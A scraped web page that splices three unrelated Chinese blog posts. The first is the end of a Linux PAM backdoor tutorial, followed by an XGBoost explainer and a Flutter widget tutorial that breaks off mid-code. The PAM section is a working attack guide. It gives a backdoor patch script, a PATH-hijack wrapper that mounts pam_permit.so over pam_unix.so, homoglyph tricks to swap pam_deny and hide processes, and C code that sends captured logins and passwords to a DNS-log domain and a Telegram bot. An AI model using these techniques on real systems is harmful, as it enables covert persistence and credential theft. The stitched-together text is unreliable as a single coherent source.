cat backdoor.patch | sed -e "s/_PASSWORD_/${PASSWORD}/g" | patch -p1 -d $PAM_DIR
cd $PAM_DIR
./configure
make
cp modules/pam_unix/.libs/pam_unix.so ../
cd ..
echo "Backdoor created."
echo "Now copy the generated ./pam_unix.so to the right directory (usually /lib/security/)"
echo ""

pam 後門種植過程中也可以發現一些可以改進優化的點,比如加載認證後門方式、文件,以及對於劫持密碼的形式不一定是寫入文本文件的形式。

0x02 Pam_permit Backdoor

因為種植機器環境的不確定性,很難保證在包管理器中提供了某種對文件校驗,可用於檢測文件系統中現有程序的操作。這些校驗分發包中合法隨附的文件的完整性,也許在我們修改認證so類似這種系統敏感文件就會觸發監控報警

我們也可以在原Pam後門種植中變通一下在不替換原系統認證pam文件來達到相同的權限維持目的。

而類似在pam認證邏輯中改變認證結果,不一定非要在文件中修改,在認證中存在pam_permit.so模塊,而而pam_permit模塊任何時候都返回認證成功.

root@qing:~/pam/Linux-PAM-1.1.8/modules# cat pam_permit/pam_permit.c
/* pam_permit module */

/*
 * $Id$
 *
 * Written by Andrew Morgan <morgan@parc.power.net> 1996/3/11
 *
 */

#include "config.h"

#define DEFAULT_USER "nobody"

#include <stdio.h>

/*
 * here, we make definitions for the externally accessible functions
 * in this file (these definitions are required for static modules
 * but strongly encouraged generally) they are used to instruct the
 * modules include file to define their prototypes.
 */

#define PAM_SM_AUTH
#define PAM_SM_ACCOUNT
#define PAM_SM_SESSION
#define PAM_SM_PASSWORD

#include <security/pam_modules.h>
#include <security/_pam_macros.h>

/* --- authentication management functions --- */

PAM_EXTERN int
pam_sm_authenticate(pam_handle_t *pamh, int flags UNUSED,
                    int argc UNUSED, const char **argv UNUSED)
{
    int retval;
    const char *user=NULL;

    /*
     * authentication requires we know who the user wants to be
     */
    retval = pam_get_user(pamh, &user, NULL);
    if (retval != PAM_SUCCESS) {
        D(("get user returned error: %s", pam_strerror(pamh,retval)));
        return retval;
    }
    if (user == NULL || *user == '\0') {
        D(("username not known"));
        retval = pam_set_item(pamh, PAM_USER, (const void *) DEFAULT_USER);
        if (retval != PAM_SUCCESS)
            return PAM_USER_UNKNOWN;
    }
    user = NULL;                                            /* clean up */

    return PAM_SUCCESS;
}

PAM_EXTERN int
pam_sm_setcred(pam_handle_t *pamh UNUSED, int flags UNUSED,
               int argc UNUSED, const char **argv UNUSED)
{
     return PAM_SUCCESS;
}

/* --- account management functions --- */

PAM_EXTERN int
pam_sm_acct_mgmt(pam_handle_t *pamh UNUSED, int flags UNUSED,
                 int argc UNUSED, const char **argv UNUSED)
{
     return PAM_SUCCESS;
}

/* --- password management --- */

PAM_EXTERN int
pam_sm_chauthtok(pam_handle_t *pamh UNUSED, int flags UNUSED,
                 int argc UNUSED, const char **argv UNUSED)
{
     return PAM_SUCCESS;
}

/* --- session management --- */

PAM_EXTERN int
pam_sm_open_session(pam_handle_t *pamh UNUSED, int flags UNUSED,
                    int argc UNUSED, const char **argv UNUSED)
{
    return PAM_SUCCESS;
}

PAM_EXTERN int
pam_sm_close_session(pam_handle_t *pamh UNUSED, int flags UNUSED,
                     int argc UNUSED, const char **argv UNUSED)
{
     return PAM_SUCCESS;
}

/* end of module definition */

#ifdef PAM_STATIC

/* static module data */

struct pam_module _pam_permit_modstruct = {
    "pam_permit",
    pam_sm_authenticate,
    pam_sm_setcred,
    pam_sm_acct_mgmt,
    pam_sm_open_session,
    pam_sm_close_session,
    pam_sm_chauthtok
};

#endif

所以在留pam後門時也可以利用這個”永真”的so來達到權限維持。

掛載+優先級後門

當我們運行shell腳本時候系統將順序嘗試在PATH環境變量的所有目錄中查找該命令。如果兩個不同的PATH條目中有兩個匹配的可執行文件,則將使用第一個而不觸發任何警告。因此,如果我們在第一個PATH條目中添加了一個惡意二進制文件,而合法的二進制文件則位於PATH的後面,則使用惡意二進制文件代替原始二進制文件。

所以我們可以利用路徑優先級結合使用mount連接原so和替換的惡意so文件來耍點”小聰明”,這裏將/usr/bin/uname寫個wrapper script:

#!/bin/sh
mount --bind /lib/*/*/pam_permit.so /lib/*/*/pam_unix.so 2>/dev/null
/bin/uname $*

這樣就用pam_permit.so來替代加載了pam_unix.so.

原因就在於/usr/bin默認優先於/bin路徑

qing@ubuntu:/usr/bin$ cat uname
#!/bin/sh
mount --bind /lib64/security/pam_permit.so /lib64/security/pam_unix.so 2>/dev/null
/bin/uname $*
qing@ubuntu:/usr/bin$ uname -a

Linux ubuntu 4.4.0-142-generic #168-Ubuntu SMP Wed Jan 16 21:00:45 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
qing@ubuntu:/usr/bin$

可以發現隨便輸入密碼都是ok的 以及以低用戶權限切root也是無密:

這樣相當於萬能密碼,/dev/null重定向標準錯誤也是為了低權限用戶執行mount因權限不夠出錯的問題,這樣就算不是root用戶執行uname在最後執行原/bin/uname沒有任何影響。種植後任何調用uname的腳本都會觸發pam_permit.so,並且我們沒有修改原pam的任何文件。

uname只是一個簡單的例子,shell腳本中可以使用無數的命令,具體要用替換來長期維權需要替換什麼師傅們也能想到。

需要注意的一個的小地方是上面的例子是在Linux ubuntu 4.4.0-142-generic 進行,而你在Centos這種紅帽中PATH又是不一樣的,具體環境具體替換即可。

同形異義字後門

/etc/pam.d/下來管理對程序的認證方式。

應用程序會調用相應的配置文件,從而調用本地的認證模塊,模塊放置在/lib/security下,以加載動態庫的形式進,像我們使用su命令時,系統會提示你輸入root用戶的密碼.這就是su命令通過調用PAM模塊實現的.

qing@ubuntu:/usr/bin$ ls -alh /etc/pam.d/
total 92K
drwxr-xr-x  2 root root 4.0K May 13 02:17 .
drwxr-xr-x 97 root root 4.0K May 21 05:26 ..
-rw-r--r--  1 root root  384 Nov 12  2015 chfn
-rw-r--r--  1 root root   92 Nov 12  2015 chpasswd
-rw-r--r--  1 root root  581 Nov 12  2015 chsh
-rw-r--r--  1 root root 1.2K Apr  7 05:15 common-account
-rw-r--r--  1 root root 1.2K Apr  7 05:15 common-auth
-rw-r--r--  1 root root 1.5K Apr  7 05:15 common-password
-rw-r--r--  1 root root 1.5K Apr  7 05:15 common-session
-rw-r--r--  1 root root 1.5K Apr  7 05:15 common-session-noninteractive
-rw-r--r--  1 root root  606 Apr  5  2016 cron
-rw-r--r--  1 root root 4.8K Jan 29  2016 login
-rw-r--r--  1 root root   92 Nov 12  2015 newusers
-rw-r--r--  1 root root  520 Mar 16  2016 other
-rw-r--r--  1 root root   92 Nov 12  2015 passwd
-rw-r--r--  1 root root  143 Mar 12  2016 runuser
-rw-r--r--  1 root root  138 Mar 12  2016 runuser-l
-rw-r--r--  1 root root  454 Jan 13  2018 smtp
-rw-r--r--  1 root root 2.1K Mar  4  2019 sshd
-rw-r--r--  1 root root 2.3K Nov 12  2015 su
-rw-r--r--  1 root root  239 Mar 30  2016 sudo
-rw-r--r--  1 root root  251 Apr 12  2016 systemd-user

看文件之前先看下配置文件的規則,例如/etc/pam.d/sshd(省略號為無關內容):

qing@ubuntu:/usr/bin$ cat /etc/pam.d/sshd
# PAM configuration for the Secure Shell service

# Standard Un*x authentication.
@include common-auth
...
account    required     pam_nologin.so
...
@include common-account
...
session [success=ok ignore=ignore module_unknown=ignore default=bad]        pam_selinux.so close

# Set the loginuid process attribute.
session    required     pam_loginuid.so
..
session    optional     pam_keyinit.so force revoke
..
@include common-session
..
session    optional     pam_motd.so  motd=/run/motd.dynamic
session    optional     pam_motd.so noupdate
..
session    optional     pam_mail.so standard noenv # [1]
..
session    required     pam_limits.so

..
session    required     pam_env.so # [1]
..
session    required     pam_env.so user_readenv=1 envfile=/etc/default/locale
...
session [success=ok ignore=ignore module_unknown=ignore default=bad]        pam_selinux.so open

# Standard Un*x password updating.
@include common-password

第一列代表模塊類型

第二列代表控制標記

第三列代表模塊路徑

第四列代表模塊參數

而模塊又分四種,具體可以百度,這裏對於後門做手腳還是關注認證管理(auth)模塊。

查看認證/etc/pam.d/common-auth,可以發現auth模塊和對應標記控制、調用的模塊、傳遞的參數:

從文件中控制標記可以看出驗證的邏輯順序(required表示即使某個模塊對用戶的驗證失敗,requisite也是表示返回失敗,立刻嚮應用程序返回失敗,表示此類型失敗.不再進行同類型後面的操作.),為這裏suucces=1的表示驗證密碼成功然後接下來去調用pam_unix.so(跳過調用pam_deny.so),如果驗證失敗則會去調用pam_deny.so,

那在不知道認證密碼的情況下必然是認證失敗,如果失敗調用的這個pam_deny.so為惡意文件或者為返回結果為真的pam_permit.so都可以達到一個後門的效果,這裏就可以用到同形異字Unicode字符來做個後門:

cp /lib/*/*/pam_permit.so /lib/x86_64-linux-gnu/security/pam_de$'\u578'y.so

這裏de後面的並不是正常的n,而是用Unicode字符u+578來替代,雖然他看來和正常的n很像,

所以在認證文件替換響應的字符,這樣調用的時候會調用我們創建含unicode字符的so,最後還是會調用到pam_permit.so使認證結果返回正確,而不是原認證文件。

perl -i -pe's/deny/de\x{578}y/' /etc/pam.d/common-auth

類似的還可以使用相同名稱的shell腳本來替換ls、netstat、ps等命令,不過不推薦:

which ls netstat ps lsof find|perl -pe'$s="\x{455}";$n="\x{578}";chop;$o=$_;s/([ltp])s/\1$s/||s/fin/fi$n/;rename$o,$_;open F,">$o";print F"#!/bin/sh\n$_ \$*|grep -vE \"[$s-$n]|grep|177\"";chmod 493,$o'

0x03 PAM-BackDoor-exfiltration

在更改pam_unix_auth時候可以指定將密碼寫入tmp目錄文件來記錄密碼,除此我們也可使用數據帶外的方式來達到用後門收集一些有效憑證、敏感密碼之類的信息。

這時候我們在看來一般的PAM後門種植過程中對於密碼的記錄:

if(strcmp(p,"qing")==0)
{
        retval = PAM_SUCCESS;
}
if(retval== PAM_SUCCESS)
{
        fp=fopen("qing.txt","a");
        fprintf(fp,"%s::%s\n",name,p);
        fclose(fp);
}

DNS exfiltration收集密碼

這裏還是在retval = _unix_verify_password(pamh, name, p, ctrl)下改變邏輯,如果需要將憑證帶外的話只需要改變記錄方式,比如創建socket對象將認證賬號密碼發送http格式的包到攻擊者的服務器上。這裏也可以使用dns帶外的形式,還是在更改pam_unix_auth.c的基礎上加入dns帶外的代碼。

Silver Moon dns.c(https://gist.github.com/fffaraz/9d9170b57791c28ccda9255b48315168)

get_dns_servers和ChangetoDnsNameFormat進行指定dns解析和域名格式轉換

void get_dns_servers()
{
    FILE *fp;
    char line[200] , *p;
    if((fp = fopen("/etc/resolv.conf" , "r")) == NULL)
    {
        printf("Failed opening /etc/resolv.conf file \n");
    }
     
    while(fgets(line , 200 , fp))
    {
        if(line[0] == '#')
        {
            continue;
        }
        if(strncmp(line , "nameserver" , 10) == 0)
        {
            p = strtok(line , " ");
            p = strtok(NULL , " ");
             
            //p now is the dns ip :)
            //????
        }
    }
     
    strcpy(dns_servers[0] , "208.67.222.222");
    strcpy(dns_servers[1] , "208.67.220.220");
}
 
/*
 * This will convert www.google.com to 3www6google3com 
 * got it :)
 * */
void ChangetoDnsNameFormat(unsigned char* dns,unsigned char* host) 
{
    int lock = 0 , i;
    strcat((char*)host,".");
     
    for(i = 0 ; i < strlen((char*)host) ; i++) 
    {
        if(host[i]=='.') 
        {
            *dns++ = i-lock;
            for(;lock<i;lock++) 
            {
                *dns++=host[lock];
            }
            lock++; //or lock=i+1;
        }
    }
    *dns++='\0';
}

加入查詢的代碼后只需要在_unix_verify_password下面加入對認證信息的dns查詢即可,name和p都在最後調用ngethostbyname將snprintf拼接好的地址進行dns查詢:

root@qing:~/Linux-PAM-1.1.8/modules/pam_unix# rm pam_unix_auth.c
rm: remove regular file ‘pam_unix_auth.c’? yes
root@qing:~/Linux-PAM-1.1.8/modules/pam_unix# mv 1.c pam_unix_auth.c
root@qing:~/Linux-PAM-1.1.8/modules/pam_unix# cd ../../
root@qing:~/Linux-PAM-1.1.8# ./configure && make

而這種還是對pam_unix.so進行替換,如果不動so文件也可以使用LD_PRELOAD之類的來預加載。

LD_PRELOAD 劫持收集密碼

在不動so的情況下我們也可以使用類似LD_PRELOAD的方式來劫持相關認證函數,在劫持的函數中對憑證進行帶外收集,最後再調用正常的認證函數即可。而@TheXC3LL沒有細說為什麼劫持pam_get_item函數的原因,查下資料,先來看看pam_get_item函數:

(https://www.man7.org/linux/man-pages/man3/pam_get_item.3.html)

NAME         top
       pam_get_item - getting PAM informations
SYNOPSIS         top
       #include <security/pam_modules.h>

       int pam_get_item(const pam_handle_t *pamh, int item_type,
                        const void **item);
DESCRIPTION         top
       The pam_get_item function allows applications and PAM service modules
       to access and retrieve PAM informations of item_type. Upon successful
       return, item contains a pointer to the value of the corresponding
       item. Note, this is a pointer to the actual data and should not be
       free()'ed or over-written! The following values are supported for
       item_type:

可以看到pam_get_item 是用來讓應用和pam服務模塊去獲取PAM信息的,查看手冊定義發現當item_type參數為PAM_AUTHTOK時

使用pam_sm_authenticate() 和pam_sm_chauthtok()會傳遞身份令牌(一般是密碼)和包含密碼,這裏傳遞了密碼憑據:

 PAM_AUTHTOK
           The authentication token (often a password). This token should be
           ignored by all module functions besides pam_sm_authenticate(3)
           and pam_sm_chauthtok(3). In the former function it is used to
           pass the most recent authentication token from one stacked module
           to another. In the latter function the token is used for another
           purpose. It contains the currently active authentication token.

手冊末尾也說明了獲取用戶名使用pam_get_user()、並且當是服務模塊的時候才可以讀取認證憑據。

If a service module wishes to obtain the name of the user, it should
       not use this function, but instead perform a call to pam_get_user(3).

       Only a service module is privileged to read the authentication
       tokens, PAM_AUTHTOK and PAM_OLDAUTHTOK.

所以我們劫持pam_get_item即可收集憑據。

劫持后的pam_get_item函數,orig_ftype定義為dlsym返回動態鏈接庫的函數指針即原pam_get_item函數,調用原函數后在最後發送dns請求:

typedef int (*orig_ftype) (const pam_handle_t *pamh, int item_type,  const void **item);

int pam_get_item(const pam_handle_t *pamh, int item_type, const void **item) {
    int retval;
    int pid;
    const char *name;
    orig_ftype orig_pam;
    orig_pam = (orig_ftype)dlsym(RTLD_NEXT, "pam_get_item");

    // Call original function  so we log password
    retval = orig_pam(pamh, item_type, item);

    // Log credential
    if (item_type == PAM_AUTHTOK && retval == PAM_SUCCESS && *item != NULL) {
        unsigned char hostname[256];
        get_dns_servers();
        pam_get_user((pam_handle_t *)pamh, &name, NULL);
        snprintf(hostname, sizeof(hostname), "%s.%s.qing.dnslog.cn", name, *item); // Change it with your domain
        if (fork() == 0) {
            ngethostbyname(hostname, T_A);
        }
    }

    return retval;

root@qing:~# vim pam_door.c
root@qing:~# gcc -fPIC -shared pam_door.c -o qing.so
root@qing:~# ll qing.so
-rwxr-xr-x 1 root root 17624 Jun 12 08:13 qing.so

這種好處雖然也是用pam做後門但是不用去動認證文件以及每次收集使用dns帶外,動靜更小隱蔽性更好一些。

使用**pam_get_item **獲取密碼還可以參考這篇:https://www.redhat.com/archives/pam-list/2004-November/msg00038.html

sshLooterC

sshLooterC也是用pam_get_item來獲取密碼,只不過是改的/etc/pam.d/common-auth使認證成功時調用惡意的so:

Copy the looter.so to the infected machine on /lib/security, then edit the /etc/pam.d/common-auth and add the following lines.

auth optional module.so
account optional module.so

將密碼帶外則是用的libcurl來帶外:

void sendMessage(char (*message)[]) {
  char url[500];
  char data[200];

  //INSERT HERE YOUR BOT KEY
  char token[200] = "BOT TOKEN";

  //INSERT HERE YOUR USER ID
  int user_id = 1111111;

  snprintf(url,600,"https://api.telegram.org/bot%s/sendMessage",token);
  snprintf(data,300,"chat_id=%d&text=%s",user_id,*message);
  CURL *curl;
  curl_global_init(CURL_GLOBAL_ALL);
  curl = curl_easy_init();
  if(curl) {
    curl_easy_setopt(curl, CURLOPT_URL, url);
    curl_easy_setopt(curl, CURLOPT_POSTFIELDS,data); 
    curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_data);
    curl_easy_perform(curl);
  }                                       
  curl_global_cleanup();
}

使用這個項目時候有點bug,添加下函數聲明:

//添加函數聲明
int pam_get_authtok(pam_handle_t *pamh, int item, const char **authtok, const char
*prompt);
PAM_EXTERN int pam_sm_authenticate( pam_handle_t *pamh, int flags,int argc, const
char **argv ) {
const char* username = NULL;
const char* password = NULL;
const char* prompt = NULL;
char message[1024];
char hostname[128];
retval = pam_get_user(pamh, &username, "Username: ");
//獲得密碼
pam_get_authtok(pamh, PAM_AUTHTOK, &password, prompt);
if (retval != PAM_SUCCESS) {
return retval;
}
gethostname(hostname, sizeof hostname);
snprintf(message,2048,"Hostname: %s\nUsername: %s\nPassword:
%s\n",hostname,username,password);
sendMessage(&message);
return PAM_SUCCESS;
}

最後改下接收地址,make編譯替換寫入即可。

END

Links

https://blog.csdn.net/weixin_42758707/article/details/94738684

https://www.cnblogs.com/marility/articles/9235522.html

https://github.com/mthbernardes/sshLooterC

https://x-c3ll.github.io/posts/

http://0daysecurity.com/articles/backdoor_pam_unix.so.html

https://github.com/zephrax/linux-pam-backdoor/blob/master/backdoor.sh

http://blog.kernelpanic.com.ar/2017/06/08/linux-pam-backdoor/

[Hacking-Contest] Invisible configuration file backdooring with Unicode homoglyphs

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※新北清潔公司,居家、辦公、裝潢細清專業服務

※別再煩惱如何寫文案,掌握八大原則!

※教你寫出一流的銷售文案?

※超省錢租車方案

※FB行銷專家,教你從零開始的技巧

一文入門:XGBoost與手推二階導

作者前言

在2020年還在整理XGB的算法,其實已經有點過時了。。不過,主要是為了學習算法嘛。現在的大數據競賽,XGB基本上已經全面被LGB模型取代了,這裏主要是學習一下Boost算法。之前已經在其他博文中介紹了Adaboost算法和Gradient-boost算法,這篇文章講解一下XGBoost。

Adaboost和XGBoost無關,但是Gradient-boost與XGBoost有一定關係。
一文搞懂:Adaboost及手推算法案例
一文讀懂:GBDT梯度提升

樹模型概述

XGB就是Extreme Gradient Boosting極限梯度提升模型。XGB簡單的說是一組分類和回歸樹(CART)的組合。跟GBDT和Adaboost都有異曲同工之處。
【CART=classification adn regression trees】

這裏對於一個決策樹,如何分裂,如何選擇最優的分割點,其實就是一個搜索的過程。搜索怎麼分裂,才能讓目標函數最小。目標函數如下:
\(Obj = Loss + \Omega\)
\(Obj\)就是我們要最小化的優化函數,\(Loss\)就是這個CART模型的預測結果和真實值得損失。\(\Omega\)就是這個CART模型的複雜度,類似神經網絡中的正則項。
【上面的公式就是一個抽象的概念。我們要知道的是:CART樹模型即要求預測盡可能準確,又要求樹模型不能過於複雜。】

對於回歸問題,我們可以用均方差來作為Loss:
\(Loss=\sum_i{(y_i-\hat{y_i})^2}\)

對於分類問題,用交叉熵是非常常見的,這裏用二值交叉熵作為例子:
\(Loss = \sum_i{(y_ilog(\hat{y_i})+(1-y_i)log(\hat{y_i}))}\)

總之,這個Loss就是衡量模型預測準確度的損失。

下面看一下如何計算這個模型複雜度\(\Omega\)吧。
\(\Omega = \gamma T+\frac{1}{2} \lambda \sum^T_j{w_j}^2\)

\(T\)表示恭弘=叶 恭弘子節點的數量,\(w_j\)表示每個恭弘=叶 恭弘子節點上的權重(與恭弘=叶 恭弘子節點的樣本數量成正比)。

【這裡有點麻煩的在於,\(w_j\)是與每個恭弘=叶 恭弘子節點的樣本數量成正比,但是並非是樣本數量。這個\(w_j\)的求取,要依靠與對整個目標函數求導數,然後找到每個恭弘=叶 恭弘子節點的權重值\(w_j\)。】

XGB vs GBDT

其實說了這麼多,感覺XGB和GDBT好像區別不大啊?下面整理一下網上有的說法,再加上自己的理解。有錯誤請指出評論,謝謝!

區別1:自帶正則項

GDBT中,只是讓新的弱分類器來擬合負梯度,那擬合多少棵樹才算好呢?不知道。XGB的優化函數中,有一個\(\Omega\)複雜度。這個複雜度不是某一課CART的複雜度,而是XGB中所有CART的總複雜度。可想而知,每多一顆CART,這個複雜度就會增加他的懲罰力度,當損失下降小於複雜度上升的時候,XGB就停止了。

區別2:有二階導數信息

GBDT中新的CART擬合的是負梯度,也就是一階導數。而在XGB會考慮二階導數的信息。

這裏簡單推導一下XGB如何用上二階導數的信息的:

  1. 之前我們得到了XGB的優化函數:
    \(Obj = Loss + \Omega\)

  2. 然後我們把Loss和Omega寫的更具體一點:
    \(Obj = \sum_i^n{Loss(y_i,\hat{y}_i^t)}+\sum_j^t{\Omega(cart_j)}\)

    • \(\hat{y_i^t}\)表示總共有t個CART弱分類器,然後t個弱分類器給出樣本i的估計值就。
    • \(y_i\)第i個樣本的真實值;
    • \(\Omega(cart_j)\)第j個CART模型的複雜度。
  3. 我們現在要求取第t個CART模型的優化函數,所以目前我們只是知道前面t-1的模型。所以我們得到:
    \(\hat{y}_i^t = \hat{y}_i^{t-1}+f_t(x_i)\)
    t個CART模型的預測,等於前面t-1個CART模型的預測加上第t個模型的預測。

  4. 所以可以得到:
    \(\sum_i^n{Loss(y_i,\hat{y}_i^t)}=\sum_i^n{Loss(y_i,\hat{y}_i^{t-1}+f_t(x_i))}\)
    這裏考慮一下特勒展開:
    \(f(x+\Delta x)\approx f(x)+f'(x)\Delta x + \frac{1}{2} f”(x)\Delta x^2\)

  5. 如何把泰勒公式帶入呢?
    \({Loss(y_i,\hat{y}_i^t)}\)中的\(y_i\)其實就是常數,不是變量
    所以其實這個是可以看成\(Loss(\hat{y}_i^t)\),也就是:
    \(Loss(\hat{y}_i^{t-1}+f_t(x_i))\)

  6. 帶入泰勒公式,把\(f_t(x_i)\)看成\(\Delta x\):
    \(Loss(\hat{y}_i^{t-1}+f_t(x_i))=Loss(\hat{y}_i^{t-1})+Loss'(\hat{y}_i^{t-1})f_t(x_i)+\frac{1}{2}Loss”(\hat{y}_i^{t-1})(f_t(x_i))^2\)

    • 在很多的文章中,會用\(g_i=Loss'(\hat{y}_i^{t-1})\),以及\(h_i=Loss”(\hat{y}_i^{t-1})\)來表示函數的一階導數和二階導數。
  7. 把泰勒展開的東西帶回到最開始的優化函數中,刪除掉常數項\(Loss(\hat{y}_i^{t-1})\)(這個與第t個CART模型無關呀)以及前面t-1個模型的複雜度,可以得到第t個CART的優化函數:
    \(Obj^t \approx \sum_i^n{[g_i f_t(x_i)+\frac{1}{2}h_i(f_t(x_i))^2}]+{\Omega(cart_t)}\)

【所以XGB用到了二階導數的信息,而GBDT只用了一階的梯度】

區別3:列抽樣

XGB借鑒了隨機森林的做法,不僅僅支持樣本抽樣,還支持特徵抽樣(列抽樣),不僅可以降低過擬合,還可以減少計算。

區別4:缺失值

XGB可以自適應的處理樣本中的缺失值。如何處理的這裏就不再講述。

喜歡的話請關注我們的微信公眾號~【你好世界煉丹師】。

  • 公眾號主要講統計學,數據科學,機器學習,深度學習,以及一些參加Kaggle競賽的經驗。
  • 公眾號內容建議作為課後的一些相關知識的補充,飯後甜點。
  • 此外,為了不過多打擾,公眾號每周推送一次,每次4~6篇精選文章。

微信搜索公眾號:你好世界煉丹師。期待您的關注。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※新北清潔公司,居家、辦公、裝潢細清專業服務

※別再煩惱如何寫文案,掌握八大原則!

※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※超省錢租車方案

※教你寫出一流的銷售文案?

※網頁設計最專業,超強功能平台可客製化

【Flutter實戰】定位裝飾權重組件及柱狀圖案例

老孟導讀:Flutter中有這麼一類組件,用於定位、裝飾、控制子組件,比如 Container (定位、裝飾)、Expanded (擴展)、SizedBox (固定尺寸)、AspectRatio (寬高比)、FractionallySizedBox (占父組件比例)。這些組件的使用頻率非常高,下面一一介紹,最後給出項目中實際案例熟悉其用法。
【Flutter實戰】系列文章地址:http://laomengit.com/guide/introduction/mobile_system.html

Container

Container 是最常用的組件之一,它是單容器類組件,即僅能包含一個子組件,用於裝飾和定位子組件,例如設置背景顏色、形狀等。

最簡單的用法如下:

Container(
	child: Text('老孟'),
 )

子組件不會發生任何外觀上的變化:

設置背景顏色:

Container(
	color: Colors.blue,
    child: Text('老孟'),
)

設置內邊距( padding ) 和 外邊距( margin )

Container(
      color: Colors.blue,
      child: Container(
        margin: EdgeInsets.all(10),
        padding: EdgeInsets.all(20),
        color: Colors.red,
        child: Text('老孟'),
      ),
    )

效果如下:

decoration 屬性設置子組件的背景顏色、形狀等。設置背景為圓形,顏色為藍色:

Container(
  child: Text('老孟,專註分享Flutter技術及應用'),
  decoration: BoxDecoration(shape: BoxShape.circle, color: Colors.blue),
)

默認情況下,圓形的直徑等於 Container 窄邊長度,相當於在矩形內繪製內切圓。

上面的情況明顯不是我們希望看到了,希望背景是圓角矩形:

Container(
        child: Text('老孟,專註分享Flutter技術及應用'),
        padding: EdgeInsets.symmetric(horizontal: 10),
        decoration: BoxDecoration(
            shape: BoxShape.rectangle,
            borderRadius: BorderRadius.all(Radius.circular(20)),
            color: Colors.blue),
      )

除了背景我們可以設置邊框效果,代碼如下:

Container(
        child: Text('老孟,專註分享Flutter技術及應用'),
        padding: EdgeInsets.symmetric(horizontal: 10),
        decoration: BoxDecoration(
          borderRadius: BorderRadius.circular(12),
          border: Border.all(
            color: Colors.blue,
            width: 2,
          ),
        ),
      )

創建圓角圖片和圓形圖片:

Container(
      height: 200,
      width: 200,
      decoration: BoxDecoration(
        image:  DecorationImage(
          image: NetworkImage(
              'https://flutter.github.io/assets-for-api-docs/assets/widgets/owl-2.jpg'),
          fit: BoxFit.cover,
        ),
        border: Border.all(
          color: Colors.blue,
          width: 2,
        ),
        borderRadius: BorderRadius.circular(12),
      ),
    )

修改其形狀為圓形,代碼如下:

Container(
      height: 200,
      width: 200,
      decoration: BoxDecoration(
        image: DecorationImage(
          image: NetworkImage(
              'https://flutter.github.io/assets-for-api-docs/assets/widgets/owl-2.jpg'),
          fit: BoxFit.cover,
        ),
        border: Border.all(
          color: Colors.blue,
          width: 2,
        ),
        shape: BoxShape.circle,
      ),
    )

設置對齊方式為居中,背景色為藍色,代碼如下:

Container(
        color: Colors.blue,
        child: Text('老孟,一個有態度的程序員'),
        alignment: Alignment.center,
      )

注意:設置對齊方式后,Container將會充滿其父控件,相當於Android中 match_parent 。

Alignment 已經封裝了常用的位置,

通過名字就知道其位置,這裏要介紹一下其他的位置,比如在距離左上角1/4處:

Container(
  alignment: Alignment(-.5,-.5),
  child: Text('老孟,專註分享Flutter技術及應用'),
)

所以這裡有一個非常重要的坐標系,Alignment 坐標系如下:

組件的中心為坐標原點。

設置固定的寬高屬性:

Container(
        color: Colors.blue,
        child: Text('老孟,專註分享Flutter技術及應用'),
        alignment: Alignment.center,
        height: 60,
        width: 250,
      )

通過 constraints 屬性設置最大/小寬、高來確定大小,如果不設置,默認最小寬高是0,最大寬高是無限大(double.infinity),約束width代碼如下:

Container(
        color: Colors.blue,
        child: Text('老孟,專註分享Flutter技術及應用'),
        alignment: Alignment.center,
        constraints: BoxConstraints(
          maxHeight: 100,
          maxWidth: 300,
          minHeight: 100,
          minWidth: 100,
        ),
      )

通過transform可以旋轉、平移、縮放Container,旋轉代碼如下:

Container(
        color: Colors.blue,
        child: Text('老孟,專註分享Flutter技術及應用'),
        alignment: Alignment.center,
        height: 60,
        width: 250,
        transform: Matrix4.rotationZ(0.5),
      )

注意:Matrix4.rotationZ()參數的單位是弧度而不是角度

SizedBox

SizedBox 是具有固定寬高的組件,直接指定具體的寬高,用法如下:

SizedBox(
        height: 60,
        width: 200,
        child: Container(
          color: Colors.blue,
          alignment: Alignment.center,
          child: Text('老孟,專註分享Flutter技術及應用'),
        ),
      )

設置尺寸無限大,如下:

SizedBox(
  height: double.infinity,
  width: double.infinity,
  ...
)

雖然設置了無限大,子控件是否會無限長呢?不,不會,子控件依然會受到父組件的約束,會擴展到父組件的尺寸,還有一個便捷的方式設置此方式:

SizedBox.expand(
  child: Text('老孟,專註分享Flutter技術及應用'),
)

SizedBox 可以沒有子組件,但仍然會佔用空間,所以 SizedBox 非常適合控制2個組件之間的空隙,用法如下:

Column(
          children: <Widget>[
            Container(height: 30,color: Colors.blue,),
            SizedBox(height: 30,),
            Container(height: 30,color: Colors.red,),
          ],
        )

AspectRatio

AspectRatio 是固定寬高比的組件,用法如下:

Container(
        height: 300,
        width: 300,
        color: Colors.blue,
        alignment: Alignment.center,
        child: AspectRatio(
          aspectRatio: 2 / 1,
          child: Container(color: Colors.red,),
        ),
      )

aspectRatio 是寬高比,可以直接寫成分數的形式,也可以寫成小數的形式,但建議寫成分數的形式,可讀性更高。效果如下:

FractionallySizedBox

FractionallySizedBox 是一個相對父組件尺寸的組件,比如占父組件的70%:

Container(
  height: 200,
  width: 200,
  color: Colors.blue,
  child: FractionallySizedBox(
    widthFactor: .8,
    heightFactor: .3,
    child: Container(
      color: Colors.red,
    ),
  ),
)

通過 alignment 參數控制子組件显示的位置,默認為居中,用法如下:

FractionallySizedBox(
  alignment: Alignment.center,
  ...
)

權重組件

Expanded、Flexible 和 Spacer 都是具有權重屬性的組件,可以控制 Row、Column、Flex 的子控件如何布局的組件。

Flexible 組件可以控制 Row、Column、Flex 的子控件佔滿父組件,比如,Row 中有3個子組件,兩邊的寬是100,中間的佔滿剩餘的空間,代碼如下:

Row(
      children: <Widget>[
        Container(
          color: Colors.blue,
          height: 50,
          width: 100,
        ),
        Flexible(
            child: Container(
              color: Colors.red,
              height: 50,
            )
        ),
        Container(
          color: Colors.blue,
          height: 50,
          width: 100,
        ),
      ],
    )

還是有3個子組件,第一個佔1/6,第二個佔2/6,第三個佔3/6,代碼如下:

Column(
      children: <Widget>[
        Flexible(
          flex: 1,
          child: Container(
            color: Colors.blue,
            alignment: Alignment.center,
            child: Text('1 Flex/ 6 Total',style: TextStyle(color: Colors.white),),
          ),
        ),
        Flexible(
          flex: 2,
          child: Container(
            color: Colors.red,
            alignment: Alignment.center,
            child: Text('2 Flex/ 6 Total',style: TextStyle(color: Colors.white),),
          ),
        ),
        Flexible(
